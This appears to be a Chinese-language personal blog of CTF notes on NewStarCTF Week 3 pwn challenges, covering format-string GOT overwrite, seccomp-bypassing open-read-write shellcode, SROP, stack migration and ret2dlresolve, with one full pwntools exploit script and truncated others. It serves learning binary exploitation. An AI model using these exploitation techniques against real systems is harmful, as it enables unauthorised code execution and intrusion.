# Note(Pwn) - 0x01 && Weekly - 0x08
# 0x00 Weekly - 0x01
1 | Day - 0x00 白天没课,做了NewStarWeek3Pwn的前三题 |
# 0x01 Note(Pwn) - 0x08
(其实是刷题写笔记,基本上是 NewStarCTF 的 Week3 的 Pwn 题目)
# 255 - Week3Pwn 情况总览:
# 0 - puts or system?
首先 checksec,平平无奇 (除了 Canary)
扔进 IDA,发现格式化字符串漏洞
"对啊,如果 puts 函数是 system 就好了"
"想得美,自己想办法修改吧"
想法就是先搞出来格式化字符串参数表的 offset,一笔带过,offset = 8
然后就是把 puts 函数的 GOT 表地址扔进栈里面,用 % n 去修改。。。但是这里爆破很难受,我写 exp 也巨难受(虽然只需要修改低位的三个字节)。不想枚举 6 种情况
于是经历了长达 1145141919810*x 毫秒的网络冲浪之后,我学到了一个新东西 ------ 来自 pwntools 的 fmtstr_payload ()
于是这里的 payload 就非常精简了(还是得多亏前辈的封装)
Tips:
- 这里的技巧是泄露函数真实地址的时候,其实可以从栈上面找__libc_start_main 函数的地址(或许__libc_start_call_main 也可以)
- 这里为了方便调试,换了 glibc,反正出题人也给了 libc,顺便练习练习(但是这题获取函数真实地址的时候,不同的 glibc 运行的情况下,参数表开始到函数的 offset 可能会不同,从而导致本地能打通,远程就寄),从此 glibc 不再玄学(但愿吧)
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# p=process('./putsorsys')
p=remote('node4.buuoj.cn',28420)
# p=process(['./ld-2.31.so', './stri'], env={"LD_PRELOAD":'./libc.so.6'})
# gdb.attach(p)
elf=ELF('./putsorsys')
libc=ELF('./libc.so.6')
func_addr=elf.got['puts']
p.sendlineafter('gift?(0/1)',"1")
payload=b'AAAA%35$p'
p.sendlineafter("it",payload)
# offset=8 35=libcstartmain
p.recvuntil('0x')
addr=p.recv(12)
addr=int(addr,16)
addr-=128
base=addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
puts_addr=base+libc.symbols['puts']
print("system:addr::")
print(hex(system_addr))
print("print——got:")
print(hex(func_addr))
p.sendlineafter('gift?(0/1)',"1")
payload1=fmtstr_payload(8,{func_addr:system_addr})
p.sendlineafter("it",payload1)
p.interactive()
# 1 - orw&rop
平平无奇的 checksec,依旧是除了 Canary
发现栈溢出、格式化字符串漏洞
发现沙箱机制(Sandbox)
之前王神发了两个 blog,但是我的时间都被那两个比赛占用了,所以当时就仅仅瞅了一眼,直到现在才开始学
那就检查一下保护是什么,输入命令:seccomp-tools dump ./ezorw
可以看到 execve 和 system 被 ban 了(因为 system 也是调用 execve)
所以就像教程说的一样,直接写 shellcode,然后用文件输入输出来输出 flag,从而避免调用 execve
(太感动了,又是前辈封装的 shellcraft!!!!!感谢前辈)
EXP:
1 | # GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35 |
# 2 - srop
哇,第一次见到 Full RELRO 的题目呀,扔进 IDA 吧!
你这个 main 函数是真的高冷
这里是 poprbp,而且 eax 设为了 0x0f,是 sigreturn 的系统调用号
还有一个奇怪的 syscall。。。第一次见这个装在 glibc 的 syscall 函数里面的 syscall
然后就按照正常的 srop 进行构造 payload。但是要注意,这个来自 glibc 的 syscall 函数很坑人,它把寄存器改了一遍。。。(见下图)
所以对应的寄存器也要改。。。
这里使用了来自 pwntools 的 SigreturnFrame,通过调用 sigreturn 来改变寄存器(本身 sigreturn 就会改变所有的寄存器,但是有时候并不是我们想要的,反正这时候我们需要它)
EXP:
1 | from pwn import * |
# 3 - stack migration revenge
checksec 之后,还可以,也是 Full RELRO
扔进 IDA,发现栈溢出的长度只能覆盖到 ret。于是考虑使用栈迁移。
但是发现,如果要迁移到栈上面,那么没有 rbp 的地址。
王神涉及了一种新知识:低位覆盖,然后利用多层嵌套函数的 leave;ret 进行栈迁移。但是这里明显 vuln 里面没有 leaveret,而且函数只有两层,这就导致这种方法没法解题。
之后王神又给出了新知识:延迟转移。事实证明是正确解法。我们细嗦... ...
这里栈的地址是随机的,所以我们在这种情况下,应该想办法把栈迁移到已知的、固定的地址里面(比如.bss),但是 bss 里面啥 rop 都没有,迁移过去也是啥用没有。。。
这时候就应该考虑使用 read 函数之类的进行读取。这里 vuln 函数有现成的 read 函数。那么我们要怎么做才能让 read 函数写入到.bss 里面呢??????
考虑到局部变量的定位是利用 rbp + Offset 实现的。因此我们只要更改 rbp 为 bss_address + 0x50 就能读取内容并且写入到 bss 那里
(注意下面的图中标记了 read 函数进行变量定位的关键代码)
之后就是在 rbp 之后添加上 vuln 地址进行调用 read 函数。但是由于 vuln 函数开头的 mov rbp,rsp 的指令,会把我们辛辛苦苦写入的 rbp 给改成 rsp。所以我们的 ret 地址肯定要写在这条指令之后。
之后就是进行正常的栈迁移,ret2libc 了。按理来说这样就应该能打通了。但是实际运行之后才发现,构造的 ROP 链中调用的用来泄露函数真实地址的 puts 函数没有输出 (或者是像下图那样卡在 puts 里面了),之后的也是,但是之前的 puts 是完全正常的。那么是为什么呢?
还是正常进行 gdb 调试。(既然问题是在写入内容到.bss 之后产生的,那么就着重看看.bss 吧)
这里可以看到 bss 开头并不是我们以为的可以随便乱写的地址。。。有些东西被我们写入的内容淦废了。。。(看名称也知道是标准输入输出 stdin,stdout 的东西,破坏了这东西 puts 挂掉是很正常的)
接下来我们看看他们原本的样子
那么解决方法也很简单,只需要把 exp 里面我们想要栈迁移的地址抬高一点,这里我抬高到了 0x404200(原本是 0x404020)
好了,这下应该就 100% 能够打通了吧~~~
“年轻人,| 只因你想的太美 |,尤其是你熬夜打 PWN 题的时候 ( ̄_, ̄)”
我们运行 exp 之后发现一切正常,但是自己输入的 ROP-Chain 被之后的 puts 函数搞得西八烂。请看下图见证这场 “ROP 大屠杀”
这是 read payload 之前的内容(只看前几行就行,这里截多了)
这是刚刚运行完 read 之后的情况,可以看到我们的 ROPchain 已经正常读入了
这里就是执行完 puts 之后的 ROPchain,已经不成样子了。。。
(好奇怪的问题,都是第一次见。。真是个大冤种。做个题都那么多 bug)
蒟蒻太弱了,根本想不出来原因。于是再次求助大佬了。。。。。。
都看得懂,我就不复述了。。。
于是就把除了第一次调用的 vuln 之外的 vuln 地址都改为 vuln 开始,然后修改了一下每次栈迁移之后的 rbp 地址就 OK 了。
最终 EXP:
1 | from pwn import* |
# 4 - dl resolve
checksec 之后,还可以
扔进 IDA,没问题,就是给的函数太少了。。。
看题目名称也知道是 ret2dlresolve,直接学呗。然后大冤种就开始了为期一天的网上冲浪。。。然后学了个大概,细节实在被绕晕了
于是就顺道去 CTF_wiki 上面看了一下,发现 ret2dlresolve 的 payload 可以生成。于是直接 “学习”
其实没有啥大问题,就是 system 缺少一个栈对齐,用 execve 的话少个 rdx 没法控制。
仔细研究了 payload 之后可以直接添加栈对齐
其实在底下被注释掉的手写 payload 过程中,我按照教程中的方法构建的 payload 应该是没问题的,但是会卡在__dl_runtime_resolve 函数里面。这就非常离谱
EXP:
1 | from pwn import * |